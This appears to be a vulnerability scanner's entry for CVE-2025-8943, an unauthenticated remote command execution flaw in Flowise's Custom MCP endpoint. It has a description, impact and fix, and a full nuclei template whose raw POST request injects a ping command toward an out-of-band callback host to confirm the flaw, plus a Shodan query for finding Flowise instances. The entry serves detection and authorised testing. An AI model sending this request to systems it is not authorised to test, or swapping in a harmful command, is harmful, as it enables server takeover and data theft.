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CVE-2025-8943· flowiseai / flowise· CWE-78

Flowise < 3.0.1 - Remote Command Execution

criticalseverity
9.8CVSS score
75.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, in Flowise versions before 3.0.1 the default installation operates without authentication unless explicitly configured. This combination allows unauthenticated network attackers to execute unsandboxed OS commands.

Impact

Successful exploitation allows attackers to execute arbitrary OS commands on the target server, potentially leading to complete system compromise, data theft, and lateral movement within the network.

Fix

Update Flowise to the latest version that addresses this vulnerability. Implement proper input validation and sanitization for the customMCP endpoint parameters.

How to confirm it

Send: POST /api/v1/node-load-method/customMCP
Positive when: contains(interactsh_protocol, "dns") and contains_all(body, "No Available Actions", "label\":") and contains_any(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-8943 -u <target>

The full check
id: CVE-2025-8943

info:
  name: Flowise < 3.0.1 - Remote Command Execution
  author: zezezez
  severity: critical
  description: |
    The Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, in Flowise versions before 3.0.1 the default installation operates without authentication unless explicitly configured. This combination allows unauthenticated network attackers to execute unsandboxed OS commands.
  impact: |
    Successful exploitation allows attackers to execute arbitrary OS commands on the target server, potentially leading to complete system compromise, data theft, and lateral movement within the network.
  remediation: |
    Update Flowise to the latest version that addresses this vulnerability. Implement proper input validation and sanitization for the customMCP endpoint parameters.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8943
    - https://www.cve.org/CVERecord?id=CVE-2025-8943
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-8943
    epss-score: 0.75296
    epss-percentile: 0.99516
    cwe-id: CWE-78
    cpe: cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: flowiseai
    product: flowise
    shodan-query: http.title:"Flowise"
  tags: cve,cve2025,rce,flowise,oast,fictional,vkev,ai,vuln

http:
  - raw:
      - |
        POST /api/v1/node-load-method/customMCP HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {
            "inputs": {
                "mcpServerConfig": {
                    "command": "ping",
                    "args": [
                        "{{interactsh-url}}",
                        "-c",
                        "4"
                    ]
                }
            },
            "loadMethod": "listActions"
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains_all(body, "No Available Actions", "label\":")'
          - 'contains_any(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from